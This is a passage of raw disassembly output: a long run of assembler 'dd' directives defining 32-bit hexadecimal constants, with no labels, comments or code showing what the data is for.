		dd 49D83A79h, 11ABFDB0h, 0CFBA8159h, 0D2038166h, 70E0B9C6h
		dd 0F155BC45h, 0D5A36C9h, 70EAE92Ch, 0B4FF321Eh, 0EE9C686h
		dd 0AA4457E9h, 0CA5FCC20h, 0B2BF754Bh, 586476B5h, 505376D8h
		dd 59715773h, 7B56549h,	4002D8C7h, 0C48F91BFh, 0CF39FE85h
		dd 0E806BE79h, 0A586DE22h, 0F4048A18h, 0D1C2918Fh, 947AD0CAh
		dd 0C9CB440h, 57020B0Dh, 6294A2D5h, 9D27E684h, 0E3194027h
		dd 690A501Dh, 0D3F5FA71h, 4551B6FAh, 3DD00065h,	795E39D7h
		dd 0D57423FEh, 3F178E1Eh, 19827FE0h, 362D380Bh,	0CF51C419h
		dd 2A95D7Dh, 0A3863FBh,	89D18CC7h, 8DB52199h, 80BCB295h
		dd 1F5AA264h, 0FFBFF74h, 5A6FC2FBh, 9F327C17h, 84F111C7h
		dd 93EE6C05h, 0FC1F3D3Fh, 2F75996h, 0C435A78Fh,	0DC6B2392h
		dd 0FBAFFC79h, 5061C447h, 23707A9Fh, 0C55A9610h, 0A7430E0Dh
		dd 11C14C30h, 6062BE5Bh, 9FE6A316h, 0B84BABB6h,	715E8275h
		dd 0A382F42Dh, 0AC4BBE94h, 0C5EA7CECh, 4BCDEFFDh, 61D1E198h
		dd 40EE3C11h, 0D7B28164h, 37FDCF32h, 0CC7EA88Ah, 255F1E0Ch
		dd 1C5149DCh, 2FE8A072h, 0CCA89233h, 78338D32h,	93FEA2EFh
		dd 37D48148h, 0E9BD3C04h, 3625A271h, 9F7F38Ch, 0B507856Bh
		dd 0D678575h, 0D00E2868h, 0D9341CB4h, 0CF93A44Ah, 0A3751DC3h
		dd 79C48FB6h, 62FDC44Dh, 0F53111D5h, 49B3E1D3h,	0BF9C6Bh
		dd 0D59FE47Fh, 0A892AF73h, 0A39DACF7h, 66F0E2FEh, 0F0B16325h
		dd 4F34A3DFh, 0B3F7C638h, 5FDCDF83h, 0C5F2B95Bh, 0D4F00E36h
		dd 48F805AAh, 0A7B1A373h, 4FD4006Eh, 0E7F7B9B2h, 62E9B01Fh
		dd 0AC0D4EDFh, 0A1033BBCh, 0F97E7D1h, 0AD6C840h, 4A195739h
		dd 106A233Ah, 588E3664h, 2FF270AFh, 0C0C2A259h,	5DFF62A3h
		dd 0E240EDBBh, 5419E1C8h, 3613FA0Bh, 0C383392Bh, 9277F039h
		dd 0CE4398E0h, 8BAAD253h, 48F6B220h, 0A7545108h, 6BC2F082h
		dd 366C7D7Dh, 15A866F7h, 349780B5h, 0A1660331h,	315FC4F6h
		dd 0D38C3Ch, 0EAD8F71Dh, 3D3E17DEh, 5FC9FB46h, 0CE431AA9h
		dd 0EED5FF72h, 9A086DACh, 37725392h, 70CDE66Bh,	0D3C6206Bh
		dd 9480CCF3h, 0D06F8E59h, 797D5987h, 0AC573491h, 0EF0F0ABCh
		dd 18B56C07h, 0EFC4BED5h, 0A25A036Ah, 0F01FEC9Fh, 5E1962D8h
		dd 0AEAC9A64h, 0C62B89A1h, 0D61F2689h, 1D5ABEB7h, 0C1441DEBh
		dd 5071E508h, 8FB54755h, 3FEE097Eh, 0CDDAA57Bh,	6C096B65h
		dd 99D6F668h, 0FEFFAB27h, 0E72F4B48h, 0A523C846h, 0C35A4D47h
		dd 0F457BF8Dh, 0B7D4A92Fh, 7033D520h, 0F837BB7Bh, 0D4B92797h
		dd 8F3C05B2h, 50FAB882h, 4132C8D1h, 9533ECC4h, 730B05D5h
		dd 86F663CDh, 0DB2DB24Fh, 465C4D0Ah, 319326CCh,	45155130h
		dd 7CF806AEh, 0A7573DC6h, 5FF3475Eh, 0A330D8CAh, 3A456AADh
		dd 10D2E501h, 0B5FCFCC0h, 4B2C7F18h, 6945545Ch,	0B6AF7489h
		dd 0D0694C98h, 0D2FEFC59h, 0E5B8F0Fh, 0F7B30212h, 0BBA7828Fh
		dd 4C894FFDh, 0B3736435h, 9784CD9Ch, 6733B6C5h,	972F7A38h
		dd 0A6E59AF0h, 82E1529Bh, 3440651Ch, 0A53537A7h, 474DA300h
		dd 3ABC1A10h, 0E8EB3927h
		dd 0B166659Ch, 919A7FAFh, 0D623D193h, 556821E9h, 2B01627h
		dd 4AC0414Ah, 205BFBE1h, 0AF770DACh, 0C1C24E3h,	0FB1582B3h
		dd 504BA289h, 125C4A32h, 3E236FFBh, 95EA6EB1h, 800A0F4Dh
		dd 0C010BAAAh, 6E92A294h, 0D3C0CA90h, 782B3638h, 749EAC04h
		dd 0CB0FE9B9h, 9330C8D8h, 0D3E1B46Eh, 0F418FB0Dh, 0F93E401Fh
		dd 0EAA1BAA2h, 2AE3F6C8h, 1E012D11h, 0F90FF86Bh, 68B08F9Fh
		dd 0C61D76EAh, 0BA37ABE1h, 8DA3E296h, 4F35DA2Bh, 0C5EFFE55h
		dd 24D45CE5h, 1819859Eh, 0E0DABE8h, 0A2B6F672h,	38F1D022h
		dd 781372BFh, 0F4344C7Eh, 0D0639C19h, 0B1804E35h, 48012818h
		dd 9B38B6D0h, 3968D188h, 580799A3h, 5BD3F0D3h, 0EC615F27h
		dd 9141C0Eh, 26EC4187h,	0E6932A9Eh, 0F0028AE9h,	8429D66Fh
		dd 7847782Dh, 763E02Fh,	0BCBC98F9h, 0F76BDFC6h,	0CD39B2Fh
		dd 7E36D7A4h, 513DCF5Dh, 38BCDD63h, 81B5CAE2h, 46945DDFh
		dd 2EF2E379h, 0EB140841h, 226A1E18h, 0E7E6A769h, 41A04D8Dh
		dd 4A92B79Eh, 2FD75327h, 8963B68h, 0CFFC2E80h, 903702E4h
		dd 0F8AB4EEEh, 745309DBh, 0A9BF9DFBh, 0ED61485h, 0B1E1EA61h
		dd 0F6126D46h, 8F0B81B5h, 0E691E7F9h, 0BA99DCF0h, 852C5DC0h
		dd 2E86D3CAh, 80EA0A48h, 16E579D6h, 32F39BF6h, 63DBC11Fh
		dd 46D090ABh, 62127602h, 604F3AE7h, 364BFF84h, 717D71B7h
		dd 174D7B19h, 0C8F8D52Fh, 1D60C52Ch, 1F2D0FF1h,	747D9CBh
		dd 0ABBC32F9h, 0EEED4027h, 5A4EE833h, 0B7BBCFC1h, 0C57DDC15h
		dd 0F4FC767Eh, 5C322D3Eh, 0BE57DFFEh, 0D85A5343h, 0C4D82C82h
		dd 0D3310F97h, 6DAE32A3h, 0A010620Dh, 0B3523BE7h, 0E4B4B689h
		dd 1B03BCA9h, 846811Fh,	484B02A4h, 0B3C737C6h, 1EC2A93Ch
		dd 3777B0BBh, 5B2E817Dh, 162FCD3Dh, 8CAE187Dh, 2FA28C69h
		dd 0DFAA8998h, 0E822A967h, 0DC183A1h, 9A098DD5h, 787184E6h
		dd 0A7E4AF70h, 4854E87Dh, 0F64BA8E9h, 0E4684637h, 0EFE98F9Fh
		dd 99D241D0h, 0A1CC5085h, 5C4973F7h, 52553F21h,	0A00C4445h
		dd 923AAAFDh, 63FF8E55h, 7E90BD4Bh, 255340BFh, 5AE337C7h
		dd 90ABE668h, 2C1C2895h, 3310A749h, 51CA86DCh, 970F6357h
		dd 0AA2F565Dh, 0AC6FD666h, 82319090h, 0C5BB50E5h, 5FC1CE83h
		dd 5DBC9CADh, 0B00E9C5Bh, 93BA1AEBh, 16BDC642h,	2B4210B7h
		dd 0F6FBF388h, 34DC9DD8h, 94F63B93h, 10CB3518h,	3AF78BB5h
		dd 0EF8E245Ah, 120FE3F7h, 3DE6BEEBh, 451BFC4Fh,	0A18B0A94h
		dd 0D56B59C4h, 0FF2C8912h, 0F23CCB6Fh, 82839321h, 21C81B13h
		dd 92028466h, 336F69BDh, 0CD58E1DBh, 37392EE0h,	7426D13Ch
		dd 653C1B2Bh, 1C744DEDh, 0D2BD6C55h, 48EA31CDh,	0F44D8A58h
		dd 3D9E3213h, 8558ED85h, 8F654945h, 8F8D4B3Bh, 0A2D3B1FCh
		dd 0FD2ADCF4h, 6C6B0147h, 213843BBh, 110BB6Ch, 5CFD084Dh
		dd 5D6ACF2Ch, 0FA133D27h, 1D0763A7h, 3F9B6B48h,	0C3F1168Fh
		dd 0B758CC03h, 0ADF84472h, 0BE7C17B0h, 2215CF8Bh, 0C6DC3EAFh
		dd 9CB23645h, 2109CA60h, 88AD4530h, 291EB019h, 0DB18F5ABh
		dd 51509C6Ah, 0B79E4108h, 0FD8EF0D4h, 0F2757F96h, 68A6C070h
		dd 24CF1648h, 88CE0ECFh, 670ED160h, 3CE2754Ah, 0E9D5AF54h
		dd 903F8DF8h, 240D26Fh,	609C7B1Dh, 0E13A98DBh, 81645CF6h
		dd 0D15F0D1h, 5F05B4B4h, 0C41B7495h, 0ABB3685Fh, 0E8E9275Bh
		dd 0DF740462h, 0D6AA367Ah, 0A8F5C517h, 0A3380B2Fh, 46086177h
		dd 0D7DC80BAh, 0E8543D5Ah, 26A44142h, 4E499431h, 58130A40h
		dd 6BBC8973h, 0AE16BD30h, 0FD23D614h, 0C328BAF5h, 858B5251h
		dd 22377E90h, 0A2BFA7D4h, 179EB2FCh, 7ACB4F7Bh,	0BF5CF887h
		dd 887DEE17h, 8715325Dh, 3390CD97h, 11FEA870h, 0CE606DEAh
		dd 0A6426AAFh, 0C2F512ECh, 1AC309C3h, 0DE017153h, 8E9977BCh
		dd 2E2CA780h, 3A813B07h, 0DC534737h, 3B5D26DFh,	0E49B16B5h
		dd 4419729Ch, 0EDBB2680h, 157F0A75h, 24A431CEh,	0E5EDF165h
		dd 1279A5C5h, 5D941E58h, 0BEEE966Bh, 0FB2E173Ch, 83049210h
		dd 3A9143Ah, 6B9A5317h,	3BD15781h, 9BD5843Fh, 52B9890Dh
		dd 0BD503319h, 0C483893Ah, 423D9842h, 0EA6F3BAAh, 0A41C8768h
		dd 0B78D9955h, 0C3A70679h, 5AF75751h, 0B8A75AFh, 265C84EBh
		dd 0A82F3921h, 65E9F6A5h, 53936121h, 845B00B4h,	5E35981Dh
		dd 2A6E6FEDh, 5598D678h, 8E3D500Eh, 35CF0BEDh, 0EDE5308Eh
		dd 0FA84998Dh, 3D1073E5h, 72AFA124h, 0BDC2DB95h, 5DCE60FCh
		dd 5EC84418h, 7A5EF925h, 6CDD0962h, 2BBC5707h, 999E3AD5h
		dd 0E2255387h, 68E6055h, 4D993025h, 6F8C099Eh, 760A03DCh
		dd 4F877627h, 35277B25h, 13E049D8h, 90BAC205h, 9C2DD22h
		dd 0E55589C9h, 476C8128h, 10871BFFh, 0F252D8D7h, 504BF302h
		dd 0F521622Eh, 0C42B274Ah, 0BAC0697h, 0C92794B1h, 94E7A7DAh
		dd 115F65DAh, 7F347CE3h, 4FC7ECACh, 0A36AFC72h,	64A75C2Dh
		dd 19BF654h, 0DF747AB6h, 36442F32h, 0A92BD470h,	653F5A75h
		dd 9A89DBA4h, 0E0E3F292h, 0F7F87794h, 51F0E297h, 0FE4CBC27h
		dd 1738002Eh, 0D5067719h, 5C52F76Eh, 0F93599F8h, 0D1861A91h
		dd 3B46C59Dh, 7087D3DDh, 0B8C1A22Bh, 38B7DF68h,	14612F10h
		dd 0DD6817D9h, 1067E48Fh, 0E908DD75h, 17D65A93h, 43F6F6D9h
		dd 0FE8E9900h, 998E5584h, 5D7650F8h, 0D16B2061h, 3CC51A8h
		dd 0A29CA319h, 0A5AED554h, 6BFA3D71h, 0E21B5B4Ch, 0B459F8E2h
		dd 0B592EFE4h, 3F28EC33h, 56C4AF9Eh, 0C9401B04h, 0C746DF73h
		dd 5124238Bh, 6B34A876h, 2E61AF1Ah, 0BEBBB806h,	5F4CCB8Fh
		dd 0CB48D1ABh, 0FB0A315Dh, 1E6B9A4Ah, 844C3C1h,	399F00FDh
		dd 7A7DC34Ch, 0B399650Ch, 814ED8B5h, 0B710186Fh, 2431F832h
		dd 0F686A8E8h, 629AC2A5h, 0A52A9818h, 0DC3E14A7h, 5872F4AFh
		dd 4BC36A6Bh, 0C1AABD19h, 0EB6F5048h, 6FB1D64Ch, 27790D9h
		dd 0B490433Dh, 0D704538Eh, 0E0170C0Ah, 0D7B6BD23h, 8E8CB7A8h
		dd 19D1AD63h, 134D59FDh, 0D495AE95h, 8E7918ACh,	0C707DE9Fh
		dd 87A5CC4h, 0F4FC6577h, 0A72E840Ch, 0F87C29Eh,	109E68E2h
		dd 6586206h, 4E3A1AF7h,	17499119h, 0AD29C65Fh, 0A05F3C68h
		dd 0CFBE0342h, 0F9EEAF90h, 221B4167h, 0FA8EC612h, 0ED5FEBE2h
		dd 3CDF7B3Ah, 773E8F61h, 0ADC0E07Ch, 0A402BA49h, 0D7E942D8h
		dd 0AEBA57BDh, 7971A652h, 3A30068Fh, 48566B3h, 0B24BBE38h
		dd 0C0E11EDDh, 21E271E3h, 4B5BFEF5h, 0B75B3763h, 0A2FA92DBh
		dd 0FE2DF993h, 7934B813h, 0C10C5E9Eh, 14E3C13Ah, 4F206464h
		dd 64D161E4h, 0AAB18D9h, 0D66C6B43h, 76F7CB24h,	85F3A6B5h
		dd 0ABDAB943h, 0C59BDDC6h, 0BF7534E5h, 0CDA377C4h, 1EFBBA7Ah
		dd 8CB33054h, 54A9018Eh, 3323076Fh, 0F02ADD48h,	5B3913EBh
		dd 990C81F1h, 11A3623Eh, 0B2C60232h, 0CA5CF3B2h, 0DEEB605Ch
		dd 4D6F2F8Ah, 2A17E802h, 0DFFA65A4h, 1C13C7EEh,	0E50BA554h
		dd 0EF0EBBBBh, 552A8320h, 83156F06h, 10709353h,	99B14689h
		dd 28EFFED6h, 0E67EDEA7h, 19AB173h, 0EF0F0559h,	8D3B096Fh
		dd 0E2AD7771h, 81A9A9AFh, 6C238D77h, 0AE1E5D89h, 0F8FFF460h
		dd 61BEA4C1h, 6A75C456h, 4A12B32Bh, 0F1E840Dh, 0FC060F8h
		dd 4E01A3A2h, 4BC243C6h, 13AADA0h, 0B66C0672h, 3CB86EAh
		dd 659036FAh, 70FCD079h, 8AB749Eh, 0DF14E9A5h, 104A1651h
		dd 2A0472ADh, 46A7B2F1h, 0DBC9CE68h, 45AF7295h,	0AC58AA1h
		dd 0E6B31604h, 0CE72C179h, 0DBBB6F91h, 0CBD45AB9h, 6006C80Eh
		dd 0D08D506h, 0F0A76FCDh
		dd 623CA2F6h, 9D881E2Dh, 0D1261C17h, 5E2F91A8h,	195C151Ah
		dd 1D384Bh, 196EEE5h, 0F91736F8h, 28D6768Fh, 9308ABFBh
		dd 249C4156h, 0D4B2FD21h, 22F481D1h, 752DBBEh, 7AD5CEFCh
		dd 0A049DC04h, 3CDB498Dh, 0D42C0CD1h, 37F95BCDh, 0CDFA94ADh
		dd 82C9AD8h, 0D53EC719h, 0D6B6EA8h, 7F3F5DB7h, 0A5B2961Bh
		dd 4C7CE491h, 0C52174Dh, 0CCECC038h, 0B86AC144h, 11F79FD1h
		dd 0C04FC4EDh, 0E4BCBE8Bh, 0ADF28E3Eh, 619F03DCh, 9BE8D23Ah
		dd 0FF0B37D8h, 0F7A7104Ch, 0BF9E7A9Dh, 4FEF63C8h, 8EE0D94Ch
		dd 2C8BCB58h, 0D9D71176h, 74CACFACh, 205D4053h,	5628CFD5h
		dd 1F9BA28Eh, 0A36F0030h, 91856C3h, 0C8D92725h,	96F973h
		dd 3851EC1Ch, 0EFD1A3A7h, 0C9C1618h, 6C20ED07h,	0F70E5035h
		dd 0A007413Ah, 0DC6A6B8Fh, 0FBFAC9FFh, 0FB324940h, 0BC89467Bh
		dd 0D8BB0967h, 85C598h,	0EBFCB996h, 4869C973h, 50A6EBA1h
		dd 5CBA21DBh, 0F8769434h, 45BB5203h, 567D8D9Dh,	58580A2Ch
		dd 0BFAFF6Eh, 85CA3F0Eh, 0A85B0540h, 0DC824723h, 549DBCC1h
		dd 7C8A7CDDh, 0F2462E41h, 588146EBh, 0AEDC0D9Bh, 9D3A29F1h
		dd 0EFD5D60Ah, 4FEDB2E9h, 79CF7F2Ch, 0E902EF6Dh, 0AFC7BAA8h
		dd 42D408E9h, 0E0FB4EFh, 0A46239A2h, 0C8A20A27h, 78ED6983h
		dd 9612B143h, 74AFBE57h, 3C3A227Ah, 9B9114E7h, 9E305A0Fh
		dd 2D09709Fh, 0FD9D9581h, 687406F1h, 0AC45E18Ch, 6F2B0A05h
		dd 428E9468h, 33334DD5h, 9FBEFE55h, 2DCB9C9Ch, 63464E94h
		dd 0BB6C6275h, 0F8613804h, 58A1912Bh, 0E9104217h, 45CF2344h
		dd 31163064h, 0B91C7AD5h, 0F96CF7CAh, 0FCDC4342h, 0BBF7EE95h
		dd 0F224889Ch, 0CC24F9F6h, 52BCF905h, 6D0A208Fh, 0D4AF6A4Eh
		dd 5BE37797h, 819C7C3h,	9B8F9863h, 58F8EEE7h, 4DC3738Fh
		dd 216C8EC6h, 63885888h, 0F30093B5h, 80FE76B4h,	2767A51Eh
		dd 0A1BB9F0Dh, 0FE8BCD81h, 0E0194DE6h, 324F2F0Ch, 0F59850C6h
		dd 0EF7F43FEh, 7D24815Eh, 3DE25ABCh, 0B14DB984h, 0D9604729h
		dd 8EE42AC6h, 0CE4DFCE5h, 0AED94CD8h, 53938DE9h, 0BFD4A561h
		dd 3D00AA95h, 0CB772851h, 7D2B913Ah, 6062B898h,	5B99D466h
		dd 8D31720Bh, 704D4813h, 0A1CF5829h, 41CA1F12h,	3643A6DAh
		dd 3CFBD8BFh, 0B8A3FF80h, 2F23E0DCh, 2CE37C7Dh,	2388874Eh
		dd 1FDC8FF1h, 55473191h, 88FCDF34h, 14CA1579h, 892BD5DAh
		dd 0C226E8CEh, 952DAD6Fh, 15E6B3A0h, 4F716848h,	0CE81F2CEh
		dd 77E1487Eh, 9FE0F8Fh,	84598EC6h, 1925CC68h, 67DC70D5h
		dd 72D8EA58h, 9B869098h, 5117B8E5h, 35D8BE56h, 0D453D06Bh
		dd 0CDC82D3Eh, 8829D1B8h, 9F1DD32Ah, 504EB15Dh,	0F933112Ch
		dd 36EF125Ch, 0ED1C29D2h, 0DF7DED4Ah, 24E6FFE8h, 2DD28624h
		dd 9638A7B4h, 13CFF8D5h, 0F833318Fh, 39EF1053h,	9F173FF9h
		dd 63191D39h, 6A7CA661h, 8901AAA6h, 48E7A5E4h, 1E111596h
		dd 50EBB02Ah, 0EC7F7F15h, 5614C8FAh, 0DDED1F98h, 80D6ACD5h
		dd 1BE904EAh, 0D377D15h, 7D158DB4h, 0D3FE6258h,	3D0E5644h
		dd 0B687F1FAh, 4291AA76h, 4C7251A0h, 0F16834DFh, 0AD4D9337h
		dd 2F9B5D96h, 312560Dh,	0F5360364h, 0D6EAB6EDh,	7F6CDC53h
		dd 0C80B5FE5h, 0BD02FAB4h, 68B0140h, 0D4A8D2BCh, 5A661D76h
		dd 84EF4BCh, 932AA8FFh,	0D0227A2Eh, 0D0C1F67h, 4AE8EC87h
		dd 0F9313582h, 0B00C831Eh, 8DADDA13h, 0C91DC0A9h, 12C0378Ah
		dd 0EA32E2C0h, 7433ABFCh, 0EB7EA5BAh, 0C48D101Ah, 2988B358h
		dd 445E8DACh, 0D8EA9A59h, 0BFF232A7h, 0AB6E17Bh, 0DDFDD550h
		dd 6526EF56h, 0D8A2928Fh, 0CF3708F0h, 0C2C289A7h, 13C1614Bh
		dd 9EBB5FA7h, 0DD1B336Ch, 89F88954h, 2A8DC2A7h,	0F99D3DE0h
		dd 40A69428h, 7BEDBDABh, 663796DFh, 228A7E46h, 40C1151h
		dd 1A0AAE41h, 0D48840F9h, 0DD45E206h, 7D265595h, 0DF8B701Ch
		dd 0ABC620AAh, 0B11B4110h, 1FC0C7FAh, 0A3999306h, 6939B3F4h
		dd 716D92AFh, 0F1BDB401h, 45571EC3h, 0FDD12188h, 0F640ECBFh
		dd 0C6458BD6h, 6DEF9ADDh, 1118D4FEh, 0C76E018h,	2808D961h
		dd 0C103E4DDh, 0A2899A34h, 12D99160h, 574E2Fh, 0C4A1CF17h
		dd 412F26A7h, 13B11B6Ah, 8E6E38ECh, 820D7734h, 337D9ED5h
		dd 0B4C190B4h, 0B6BE1A40h, 552EF2E4h, 4941E350h, 8EFAE2CFh
		dd 534E4FBDh, 4EA30E5Bh, 34DE0C3Eh, 9454C707h, 0EFB3CF59h
		dd 2867B31h, 480E4244h,	2B2EE889h, 2BD031F4h, 26C80E2Fh
		dd 61FD4CEh, 0AE650406h, 91BC075Fh, 15A9881h, 9220F267h
		dd 0E3F01149h, 0E978027Dh, 603C349Eh, 6BD9EB16h, 164C1F27h
		dd 991DF211h, 0B0CBE0Ch, 30F62D16h, 25BF1217h, 0F2E14541h
		dd 7C84CAE3h, 0F96D388Bh, 132E8DBDh, 0B68A9A0Fh, 0F69EBF80h
		dd 0C1615C58h, 0C798AD35h, 0E5C2FF3Bh, 0A4BE37C8h, 0C68A351Fh
		dd 561BC06Eh, 99A59DC1h, 4D78170Ch, 814D3645h, 997E2C50h
		dd 0C139C8A5h, 0C6B29144h, 0F0586B6Dh, 0A8980ECAh, 0D046CF90h
		dd 49ADE86Ch, 0F3028C69h, 1C93875h, 5D0D0AACh, 0CDBBD798h
		dd 997E43C5h, 24E8A0Bh,	606CF17Ch, 7A05B12Ch, 4036516Ch
		dd 76DA7018h, 65C2E270h, 0F79CABB2h, 0C93AD834h, 32B8A24Dh
		dd 0DC172266h, 0E310CB2Ah, 0DDA3C708h, 79F93054h, 0F18F5E1h
		dd 81FA9765h, 968EB32Ah, 0E0895D9Ah, 435EDC88h,	2440FEDBh
		dd 71F2E48Ch, 75F538E4h, 0B2823340h, 247F81B4h,	74F14AD3h
		dd 79C45C35h, 800D0010h, 0D848D827h, 6479EAC8h,	0E58FB9ECh
		dd 159576E6h, 9FFAEAEDh, 5D9E5376h, 0D75894C3h,	1E3C8359h
		dd 8F8F1618h, 0CCB6CCAFh, 0A2C307FFh, 88ED9E2Dh, 4626E661h
		dd 0F542C40Bh, 8AE802E4h, 25340801h, 7F9D348Ch,	4CCFB87Fh
		dd 4C1DB148h, 7B276556h, 6D4EE140h, 7E4524C9h, 0E279E43Dh
		dd 0C0387AF3h, 0C2E5C3D7h, 8E75915Eh, 25F04C5Fh, 8EB1AB2Fh
		dd 0DDBE2C7Fh, 20508A84h, 51FB242Dh, 0F4194FA2h, 120EF05Fh
		dd 0ACA9B7EEh, 9B770470h, 5817E2C2h, 0BD4FE5E0h, 0E039CDCDh
		dd 9F9C5BBFh, 0C81208FAh, 723A34ADh, 67715AD3h,	5D2E376Ah
		dd 37DE878Ah, 0DB79CC31h, 0FC2BD8ADh, 480D9D82h, 4D63D314h
		dd 5381E274h, 2629A676h, 8ED7184Eh, 0ED556BAh, 65A21E30h
		dd 856D9A2Fh, 0E1364E40h, 4DBE7E29h, 58739773h,	8120EBB5h
		dd 0BC39DF40h, 65849B27h, 17B0EB7Bh, 0F6970223h, 0E950D69Fh
		dd 0B6A24E52h, 0CECAD615h, 5DC8DA5Fh, 284A3282h, 0F57EABBFh
		dd 0FBB8B7D2h, 0D62E2D4Dh, 0B9BCE76Ah, 0F67C4D71h, 75A10AEBh
		dd 0AA6C04EAh, 9DD5F6Ah, 0EDCC93DDh, 7BA10D7Ah,	3CC26E96h
		dd 6BDC853Bh, 0EBAACCFCh, 55BBDCEFh, 1BAB3CF0h,	5CE772BCh
		dd 5C2D53E6h, 0E44E0D90h, 8FA479F8h, 8C1AE573h,	9FAF35B8h
		dd 89C1CDCh, 2E620597h,	46538D67h, 0CE4FF1ADh, 4695B683h
		dd 0A88490C5h, 0E505E1E3h, 37935E57h, 6CCC2CC7h, 8FA0D7CDh
		dd 0E4ED4208h, 0EE64C5E6h, 0A423D9ABh, 43DDC59Eh, 0B18DE8CFh
		dd 1EFDAA74h, 0BF070A27h, 46E57E06h, 31ED7EDDh,	0A6A6643Bh
		dd 94EC015h, 0E64D5DC9h, 0A5FA7381h, 92CE0ADh, 84556938h
		dd 3F23C0B3h, 53D5CD4Ch, 33245588h, 0FCC2412Fh,	47A5866Bh
		dd 0DC6E48FCh, 6C77FD7Eh, 0E5674657h, 0D5BD8F3Fh, 784BDAA2h
		dd 2345A217h, 0C68C09CDh, 0A3971CBEh, 0A1448000h, 0D3CC432h
		dd 29A81075h, 6C2F74B8h, 47B3ABDCh, 0FF47272Fh,	0B8A87948h
		dd 9C2D037Bh, 7EE64C99h, 54D018BAh, 7E4D034Ch, 0A369869h
		dd 96FB8F7Bh, 1228D40h
		dd 1776CDB2h, 0CFB882CDh, 9FB67AD2h, 0B20B2AA6h, 571F2FA5h
		dd 9983C3Fh, 5735DA3Ch,	0C0DDEE28h, 193BE786h, 0DDC84EC9h
		dd 957AA644h, 186475B2h, 0DBF7CA69h, 0E5C75466h, 0D6A41E2Fh
		dd 1B1C0177h, 7D623FA2h, 3F7A03EDh, 2D2B4491h, 9A9FB804h
		dd 9BF56DA5h, 0BE33E7B9h, 97B28CD6h, 5429DD33h,	0F4FF76EEh
		dd 782B6E1Fh, 5D250B0Eh, 0D7C71F72h, 39FA9E8Ch,	0C8663804h
		dd 76332846h, 80378714h, 10D05E2Bh, 307246A9h, 0BBE39770h
		dd 0AD2802Dh, 0B1B28D0Eh, 73C4295Ah, 8EB74427h,	7E0187CBh
		dd 0CD972810h, 0CACEA4BAh, 0BB2DE1C7h, 72AC8896h, 86878B21h
		dd 36E09F66h, 0A003A33Fh, 99E367BFh, 71AB57C3h,	83D25BF3h
		dd 0BA639191h, 21F226C3h, 0E76DF28Eh, 4B5DAFF3h, 71AC397Ah
		dd 8FF34C56h, 3D2FFCF8h, 0CE73A11Ah, 7EFD0BB1h,	885BDC13h
		dd 460E3215h, 0FAE05F6Fh, 1BE22AD3h, 5FD3A44Eh,	0EADA7BAAh
		dd 78DF384Ch, 0BBBDEE89h, 43460181h, 5120F49Bh,	5035D6Eh
		dd 6B1D01DAh, 56A3F6BEh, 0AE8600DAh, 1B283DCCh,	0F5522C9h
		dd 1CBFDA26h, 0C931203h, 0C55933BFh, 0DBF41159h, 87519C61h
		dd 48FC8316h, 268ED1DAh, 128C842Fh, 0BC757BDCh,	0BEC7A5A3h
		dd 8D99B9B7h, 6B1F6655h, 761BF4Bh, 0B0EE506Eh, 65D855B2h
		dd 42DF0368h, 176DB42Bh, 98467407h, 0C9A3E95Dh,	0A003858Ch
		dd 0B096FDEEh, 0BED7F58Ah, 0B6E7B9C1h, 5C7A3457h, 15C8E7DFh
		dd 9CD1B63Ah, 90BE10A5h, 0BD2259A1h, 4672D90Bh,	90D64F29h
		dd 0C4480C3h, 0B665E50Fh, 0DD6083EDh, 0D3AD26D4h, 0BCFF7689h
		dd 68055D55h, 2EFA0832h, 0ADD05FA3h, 0E0A46B3Eh, 0EE44630Ch
		dd 5F82806Dh, 84D1260Bh, 0C5B164F3h, 0F5C068Dh,	0EA865A42h
		dd 0DCEA0B4Eh, 0B1EECA6Fh, 6893D6A4h, 2B73F09Bh, 958DAB3Ah
		dd 421B48C6h, 91267382h, 8C617AA3h, 6C581C72h, 0AB0E62D4h
		dd 0E1753438h, 0E896DD29h, 963CE9E5h, 0BB4C50EEh, 1E0E834Bh
		dd 1B17950Ch, 3AE351D3h, 1254FBEh, 0F87EBB58h, 95C7B6A7h
		dd 0BDF3C24Ch, 49529CCAh, 6A353B33h, 0A4DFFD60h, 2A669702h
		dd 181A7BBEh, 553F9C35h, 21920AD7h, 81D103F6h, 1F8FA9Ah
		dd 7C29AEEEh, 2D696A3Eh, 8F465554h, 452BD91Fh, 5FD3420Bh
		dd 950F3B4h, 0DBFF66F1h, 1EE8A3F5h, 235264D0h, 0C5A3AA5Fh
		dd 0FFB6566Fh, 0D092E7C1h, 0D2666973h, 0C58F9300h, 49092D23h
		dd 0DC42BFDBh, 5A3A52F5h, 18CE1F1Ch, 1B624031h,	1F0390E3h
		dd 7FBCFFDDh, 9E6CE1A2h, 0E9410B07h, 2F2CAD4Fh,	611C1601h
		dd 0CB6D5A1h, 51EFEF63h, 31A3E2E9h, 91596456h, 6FA994DBh
		dd 0ADC16E81h, 0F80F140Ah, 0E5517740h, 0DE29DC11h, 3EB707AFh
		dd 1AEDD533h, 7CAF3AE1h, 79D7F81Ch, 3B493473h, 9B279044h
		dd 0A9C4921h, 79C44DCAh, 1F179C12h, 17ACED33h, 0AFB38309h
		dd 54FE848Ah, 5D4D55E7h, 6D01778Bh, 0D3FC597Ah,	4D313634h
		dd 1A9EA6DEh, 99344865h, 0E32D3C91h, 891E446Ah,	531E0FC7h
		dd 0B922B406h, 838ED23h, 6A181DCDh, 0DE009A1Bh,	6E2A8527h
		dd 0BD788FE6h, 0CD18741Ah, 0F7D43D99h, 0D71310A0h, 8839850h
		dd 55828956h, 754C963Eh, 0C7F315BFh, 5193A0F8h,	6AD3D43Bh
		dd 8D884D3Ch, 0A4F96BCFh, 8324405Dh, 0FE395D40h, 921F7815h
		dd 0F739FD69h, 21068D2Dh, 0E6A4DED6h, 0ADDEAC73h, 1D6336DBh
		dd 0D60DAFBAh, 0DDCC53FBh, 6B7EF7A3h, 0A4CC00FEh, 2D52FFF0h
		dd 0AADC85A8h, 0F5AD9395h, 0CDC9EAC5h, 6A9C951Dh, 0EA712135h
		dd 7942CBB0h, 0A03A217Fh, 5D15E5A6h, 7D0B3CA6h,	56B45A6Dh
		dd 8DA2730Dh, 0CAF5CFD2h, 0FBC298F2h, 0BFA0F670h, 5F90F5E8h
		dd 8C95774Ah, 2870AA93h, 1CF56C07h, 0DCFC1F1h, 0B2ED7A8Eh
		dd 5979B7D0h, 9DC0ABF6h, 0CFE41EFCh, 96B90216h,	0F5EAD1A4h
		dd 3A1C8926h, 8149A0E3h, 0E2B8ABDDh, 530E9FF8h,	8919CBDh
		dd 0B2BDAF06h, 0EB02CE79h, 0AFED9462h, 0E8E1ECCBh, 42113627h
